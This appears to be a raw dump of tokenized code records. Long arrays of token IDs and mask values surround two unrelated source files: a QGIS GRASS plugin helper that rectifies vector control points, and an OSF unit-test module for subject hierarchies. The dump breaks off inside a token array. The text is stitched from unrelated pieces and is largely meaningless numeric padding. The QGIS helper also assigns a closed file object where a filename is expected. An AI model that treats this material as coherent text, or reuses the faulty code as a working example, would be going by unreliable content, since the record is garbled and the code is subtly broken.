520, 635, 2074, 26, 267, 10961, 901, 13, 585, 6342, 370, 986, 315, 370, 1124, 807, 14, 873, 4345, 339, 437, 1124, 807, 1040, 2839, 3970, 367, 16915, 3101, 21391, 14, 339, 5024, 1561, 787, 5489, 436, 13524, 1930, 13, 262, 2464, 338, 9462, 315, 4151, 543, 272, 7329, 1520, 9687, 14, 473, 5388, 6571, 314, 1642, 1930, 13, 7361, 790, 6775, 367, 1924, 272, 1930, 13, 15851, 4092, 14, 339, 11719, 9035, 8617, 18762, 6302, 1806, 16334, 1504, 626, 6540, 4472, 272, 1930, 13, 262, 2464, 338, 9462, 315, 1865, 370, 11075, 1124, 807, 1040, 7, 83, 2986, 14, 2104, 1504, 626, 272, 6540, 4472, 12, 3140, 1218, 282, 892, 1124, 2856, 2567, 2141, 1040, 436, 675, 21502, 525, 1040, 272, 315, 282, 4438, 14, 339, 982, 3663, 1504, 626, 787, 4472, 1930, 13, 262, 2464, 338, 9462, 787, 3032, 370, 314, 272, 3787, 503, 21502, 873, 4542, 314, 5953, 365, 10942, 436, 2005, 911, 506, 272, 14669, 14, 339, 1306, 2323, 275, 3101, 2567, 2141, 342, 272, 1306, 2323, 14, 525, 360, 1084, 13, 7810, 297, 283, 1421, 29, 1700, 358, 272, 1306, 2323, 14, 525, 360, 409, 13, 5306, 297, 283, 6185, 29, 392, 2154, 358, 272, 1306, 2323, 459, 1317, 13, 1267, 418, 275, 283, 23, 7, 272, 1306, 2323, 459, 3597, 13, 5306, 418, 272, 283, 1421, 29, 1700, 12, 15507, 29, 392, 2154, 7, 272, 1306, 2323, 459, 2714, 13, 4625, 418, 272, 283, 23, 7, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2323, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
telwertowski/QGIS
python/plugins/processing/algs/grass7/ext/v_rectify.py
36
2066
# -*- coding: utf-8 -*- """ *************************************************************************** v_rectify.py ------------ Date : March 2016 Copyright : (C) 2016 by Médéric Ribreux Email : medspx at medspx dot fr *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * *************************************************************************** """ __author__ = 'Médéric Ribreux' __date__ = 'March 2016' __copyright__ = '(C) 2016, Médéric Ribreux' import os from processing.algs.grass7.Grass7Utils import Grass7Utils from processing.tools.system import getTempFilename def checkParameterValuesBeforeExecuting(alg, parameters, context): """ Verify if we have the right parameters """ if (alg.parameterAsString(parameters, 'inline_points', context) and alg.parameterAsString(parameters, 'points', context)): return False, alg.tr("You need to set either an input control point file or inline control points!") return True, None def processCommand(alg, parameters, context, feedback): # handle inline points inlinePoints = alg.parameterAsString(parameters, 'inline_points', context) if inlinePoints: # Creates a temporary txt file pointsName = getTempFilename() # Inject rules into temporary txt file with open(pointsName, "w") as tempPoints: tempPoints.write(inlinePoints) alg.removeParameter('inline_points') parameters['points'] = tempPoints alg.processCommand(parameters, context, feedback, True)
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 17623, 272, 373, 63, 2761, 3338, 14, 647, 272, 3001, 375, 272, 6148, 463, 520, 603, 1047, 7800, 272, 1898, 3322, 520, 334, 35, 9, 7800, 701, 603, 5741, 68, 5741, 1567, 820, 1892, 264, 2521, 272, 11426, 4483, 520, 562, 68, 681, 88, 737, 562, 68, 681, 88, 6308, 9513, 199, 17623, 199, 10, 17997, 627, 199, 10, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 10, 257, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 221, 627, 199, 10, 257, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 258, 627, 199, 10, 257, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 15530, 627, 199, 10, 17997, 627, 199, 17623, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 45, 5741, 68, 5741, 1567, 820, 1892, 264, 2521, 7, 199, 363, 602, 363, 275, 283, 45, 1047, 7800, 7, 199, 363, 7307, 363, 275, 8189, 35, 9, 7800, 12, 603, 5741, 68, 5741, 1567, 820, 1892, 264, 2521, 7, 199, 199, 646, 747, 199, 504, 6661, 14, 31128, 14, 2587, 405, 23, 14, 23765, 405, 23, 7535, 492, 598, 82, 405, 23, 7535, 199, 504, 6661, 14, 2537, 14, 2253, 492, 664, 6530, 8117, 421, 199, 318, 1104, 4720, 6550, 13569, 4858, 4655, 8, 6731, 12, 2633, 12, 1067, 304, 272, 408, 7635, 340, 781, 1172, 314, 2451, 2633, 408, 272, 340, 334, 6731, 14, 5329, 2822, 1558, 8, 3214, 12, 283, 6460, 63, 3438, 297, 1067, 9, 288, 436, 15760, 14, 5329, 2822, 1558, 8, 3214, 12, 283, 3438, 297, 1067, 2298, 267, 372, 756, 12, 15760, 14, 454, 480, 5556, 1929, 370, 663, 1902, 376, 1324, 3304, 2376, 570, 503, 8308, 3304, 4501, 9124, 339, 372, 715, 12, 488, 421, 199, 318, 2112, 3110, 8, 6731, 12, 2633, 12, 1067, 12, 17145, 304, 272, 327, 2429, 8308, 4501, 272, 8308, 10225, 275, 15760, 14, 5329, 2822, 1558, 8, 3214, 12, 283, 6460, 63, 3438, 297, 1067, 9, 272, 340, 8308, 10225, 26, 267, 327, 10560, 282, 7937, 9444, 570, 267, 4501, 985, 275, 664, 6530, 8117, 342, 398, 327, 1010, 963, 4713, 1901, 7937, 9444, 570, 267, 543, 1551, 8, 3438, 985, 12, 298, 87, 531, 465, 2388, 10225, 26, 288, 2388, 10225, 14, 952, 8, 6460, 10225, 9, 267, 15760, 14, 2168, 4720, 360, 6460, 63, 3438, 358, 267, 2633, 459, 3438, 418, 275, 2388, 10225, 339, 15760, 14, 1412, 3110, 8, 3214, 12, 1067, 12, 17145, 12, 715, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 17623, 272, 373, 63, 2761, 3338, 14, 647, 272, 3001, 375, 272, 6148, 463, 520, 603, 1047, 7800, 272, 1898, 3322, 520, 334, 35, 9, 7800, 701, 603, 5741, 68, 5741, 1567, 820, 1892, 264, 2521, 272, 11426, 4483, 520, 562, 68, 681, 88, 737, 562, 68, 681, 88, 6308, 9513, 199, 17623, 199, 10, 17997, 627, 199, 10, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 10, 257, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 221, 627, 199, 10, 257, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 258, 627, 199, 10, 257, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 15530, 627, 199, 10, 17997, 627, 199, 17623, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 45, 5741, 68, 5741, 1567, 820, 1892, 264, 2521, 7, 199, 363, 602, 363, 275, 283, 45, 1047, 7800, 7, 199, 363, 7307, 363, 275, 8189, 35, 9, 7800, 12, 603, 5741, 68, 5741, 1567, 820, 1892, 264, 2521, 7, 199, 199, 646, 747, 199, 504, 6661, 14, 31128, 14, 2587, 405, 23, 14, 23765, 405, 23, 7535, 492, 598, 82, 405, 23, 7535, 199, 504, 6661, 14, 2537, 14, 2253, 492, 664, 6530, 8117, 421, 199, 318, 1104, 4720, 6550, 13569, 4858, 4655, 8, 6731, 12, 2633, 12, 1067, 304, 272, 408, 7635, 340, 781, 1172, 314, 2451, 2633, 408, 272, 340, 334, 6731, 14, 5329, 2822, 1558, 8, 3214, 12, 283, 6460, 63, 3438, 297, 1067, 9, 288, 436, 15760, 14, 5329, 2822, 1558, 8, 3214, 12, 283, 3438, 297, 1067, 2298, 267, 372, 756, 12, 15760, 14, 454, 480, 5556, 1929, 370, 663, 1902, 376, 1324, 3304, 2376, 570, 503, 8308, 3304, 4501, 9124, 339, 372, 715, 12, 488, 421, 199, 318, 2112, 3110, 8, 6731, 12, 2633, 12, 1067, 12, 17145, 304, 272, 327, 2429, 8308, 4501, 272, 8308, 10225, 275, 15760, 14, 5329, 2822, 1558, 8, 3214, 12, 283, 6460, 63, 3438, 297, 1067, 9, 272, 340, 8308, 10225, 26, 267, 327, 10560, 282, 7937, 9444, 570, 267, 4501, 985, 275, 664, 6530, 8117, 342, 398, 327, 1010, 963, 4713, 1901, 7937, 9444, 570, 267, 543, 1551, 8, 3438, 985, 12, 298, 87, 531, 465, 2388, 10225, 26, 288, 2388, 10225, 14, 952, 8, 6460, 10225, 9, 267, 15760, 14, 2168, 4720, 360, 6460, 63, 3438, 358, 267, 2633, 459, 3438, 418, 275, 2388, 10225, 339, 15760, 14, 1412, 3110, 8, 3214, 12, 1067, 12, 17145, 12, 715, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
TomBaxter/osf.io
tests/test_subjects.py
10
8028
# -*- coding: utf-8 -*- from django.core.exceptions import ValidationError from nose.tools import * # flake8: noqa (PEP8 asserts) from osf.exceptions import ValidationValueError from tests.base import OsfTestCase from osf_tests.factories import SubjectFactory, PreprintFactory, PreprintProviderFactory from osf.models.validators import validate_subject_hierarchy class TestSubjectTreeValidation(OsfTestCase): def setUp(self): super(TestSubjectTreeValidation, self).setUp() self.root_subject = SubjectFactory() self.one_level_root = SubjectFactory() self.two_level_root = SubjectFactory() self.outside_root = SubjectFactory() self.root_subject.save() self.outside_root.save() self.two_level_root.save() self.one_level_root.save() self.parent_subj_0 = SubjectFactory(parent=self.root_subject) self.parent_subj_1 = SubjectFactory(parent=self.root_subject) self.two_level_parent = SubjectFactory(parent=self.two_level_root) self.outside_parent = SubjectFactory(parent=self.outside_root) self.parent_subj_0.save() self.parent_subj_1.save() self.outside_parent.save() self.two_level_parent.save() self.child_subj_00 = SubjectFactory(parent=self.parent_subj_0) self.child_subj_01 = SubjectFactory(parent=self.parent_subj_0) self.child_subj_10 = SubjectFactory(parent=self.parent_subj_1) self.child_subj_11 = SubjectFactory(parent=self.parent_subj_1) self.outside_child = SubjectFactory(parent=self.outside_parent) self.child_subj_00.save() self.child_subj_01.save() self.child_subj_10.save() self.child_subj_11.save() self.outside_child.save() self.valid_full_hierarchy = [self.root_subject._id, self.parent_subj_0._id, self.child_subj_00._id] self.valid_two_level_hierarchy = [self.two_level_root._id, self.two_level_parent._id] self.valid_one_level_hierarchy = [self.one_level_root._id] self.valid_partial_hierarchy = [self.root_subject._id, self.parent_subj_1._id] self.valid_root = [self.root_subject._id] self.no_root = [self.parent_subj_0._id, self.child_subj_00._id] self.no_parent = [self.root_subject._id, self.child_subj_00._id] self.invalid_child_leaf = [self.root_subject._id, self.parent_subj_0._id, self.child_subj_10._id] self.invalid_parent_leaf = [self.root_subject._id, self.outside_parent._id, self.child_subj_00._id] self.invalid_root_leaf = [self.outside_root._id, self.parent_subj_0._id, self.child_subj_00._id] self.invalid_ids = ['notarealsubjectid', 'thisisalsoafakeid'] def test_hiarachy_property(self): assert_equal(self.child_subj_00.hierarchy, [self.root_subject._id, self.parent_subj_0._id, self.child_subj_00._id]) assert_equal(self.two_level_parent.hierarchy, [self.two_level_root._id, self.two_level_parent._id]) assert_equal(self.one_level_root.hierarchy, [self.one_level_root._id]) assert_equal(self.parent_subj_1.hierarchy, [self.root_subject._id, self.parent_subj_1._id]) assert_equal(self.root_subject.hierarchy, [self.root_subject._id]) def test_object_hierarchy_property(self): assert_equal(self.child_subj_00.object_hierarchy, [self.root_subject, self.parent_subj_0, self.child_subj_00]) assert_equal(self.two_level_parent.object_hierarchy, [self.two_level_root, self.two_level_parent]) assert_equal(self.one_level_root.object_hierarchy, [self.one_level_root]) assert_equal(self.parent_subj_1.object_hierarchy, [self.root_subject, self.parent_subj_1]) assert_equal(self.root_subject.object_hierarchy, [self.root_subject]) def test_validation_full_hierarchy(self): assert_equal(validate_subject_hierarchy(self.valid_full_hierarchy), None) def test_validation_two_level_hierarchy(self): assert_equal(validate_subject_hierarchy(self.valid_two_level_hierarchy), None) def test_validation_one_level_hierarchy(self): assert_equal(validate_subject_hierarchy(self.valid_one_level_hierarchy), None) def test_validation_partial_hierarchy(self): assert_equal(validate_subject_hierarchy(self.valid_partial_hierarchy), None) def test_validation_root_only(self): assert_equal(validate_subject_hierarchy(self.valid_root), None) def test_invalidation_no_root(self): with assert_raises(ValidationValueError) as e: validate_subject_hierarchy(self.no_root) assert_in('Unable to find root', e.exception.message) def test_invalidation_no_parent(self): with assert_raises(ValidationValueError) as e: validate_subject_hierarchy(self.no_parent) assert_in('Invalid subject hierarchy', e.exception.message) def test_invalidation_invalid_child_leaf(self): with assert_raises(ValidationValueError) as e: validate_subject_hierarchy(self.invalid_child_leaf) assert_in('Invalid subject hierarchy', e.exception.message) def test_invalidation_invalid_parent_leaf(self): with assert_raises(ValidationValueError) as e: validate_subject_hierarchy(self.invalid_parent_leaf) assert_in('Invalid subject hierarchy', e.exception.message) def test_invalidation_invalid_root_leaf(self): with assert_raises(ValidationValueError) as e: validate_subject_hierarchy(self.invalid_root_leaf) assert_in('Invalid subject hierarchy', e.exception.message) def test_invalidation_invalid_ids(self): with assert_raises(ValidationValueError) as e: validate_subject_hierarchy(self.invalid_ids) assert_in('could not be found', e.exception.message) class TestSubjectEditValidation(OsfTestCase): def setUp(self): super(TestSubjectEditValidation, self).setUp() self.subject = SubjectFactory() def test_edit_unused_subject(self): self.subject.text = 'asdfg' self.subject.save() def test_edit_used_subject(self): preprint = PreprintFactory(subjects=[[self.subject._id]]) self.subject.text = 'asdfg' with assert_raises(ValidationError): self.subject.save() def test_delete_unused_subject(self): self.subject.delete() def test_delete_used_subject(self): preprint = PreprintFactory(subjects=[[self.subject._id]]) with assert_raises(ValidationError): self.subject.delete() def test_max_highlighted_count(self): highlights = [SubjectFactory(provider=self.subject.provider, highlighted=True) for _ in range(10)] with assert_raises(ValidationError): self.subject.highlighted=True self.subject.save() class TestSubjectProperties(OsfTestCase): def setUp(self): super(TestSubjectProperties, self).setUp() self.osf_provider = PreprintProviderFactory(_id='osf', share_title='bepress') self.asdf_provider = PreprintProviderFactory(_id='asdf') self.bepress_subj = SubjectFactory(text='BePress Text', provider=self.osf_provider) self.other_subj = SubjectFactory(text='Other Text', bepress_subject=self.bepress_subj, provider=self.asdf_provider) def test_bepress_text(self): assert self.other_subj.bepress_text == 'BePress Text' assert self.bepress_subj.bepress_text == 'BePress Text' def test_path(self): self.bepress_child = SubjectFactory(text='BePress Child', provider=self.osf_provider, parent=self.bepress_subj) self.other_child = SubjectFactory(text='Other Child', bepress_subject=self.bepress_subj, provider=self.asdf_provider, parent=self.other_subj) assert self.bepress_subj.path == 'bepress|BePress Text' assert self.bepress_child.path == 'bepress|BePress Text|BePress Child' assert self.other_subj.path == 'asdf|Other Text' assert self.other_child.path == 'asdf|Other Text|Other Child'
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 1639, 14, 1018, 14, 3924, 492, 8505, 199, 504, 11354, 14, 2537, 492, 627, 221, 327, 27510, 24, 26, 8151, 334, 25633, 24, 702, 83, 9, 199, 504, 747, 70, 14, 3924, 492, 19381, 3393, 199, 199, 504, 2295, 14, 1095, 492, 593, 7646, 1746, 199, 504, 747, 70, 63, 2219, 14, 15406, 492, 26793, 2927, 12, 510, 1155, 672, 2927, 12, 510, 1155, 672, 6663, 2927, 199, 199, 504, 747, 70, 14, 992, 14, 11346, 492, 4107, 63, 5875, 63, 14861, 421, 199, 533, 1379, 13528, 3987, 13816, 8, 47, 7646, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 13528, 3987, 13816, 12, 291, 680, 5996, 342, 398, 291, 14, 1231, 63, 5875, 275, 26793, 2927, 342, 267, 291, 14, 368, 63, 1896, 63, 1231, 275, 26793, 2927, 342, 267, 291, 14, 5601, 63, 1896, 63, 1231, 275, 26793, 2927, 342, 267, 291, 14, 22431, 63, 1231, 275, 26793, 2927, 342, 398, 291, 14, 1231, 63, 5875, 14, 2117, 342, 267, 291, 14, 22431, 63, 1231, 14, 2117, 342, 267, 291, 14, 5601, 63, 1896, 63, 1231, 14, 2117, 342, 267, 291, 14, 368, 63, 1896, 63, 1231, 14, 2117, 342, 398, 291, 14, 1708, 63, 954, 74, 63, 16, 275, 26793, 2927, 8, 1708, 29, 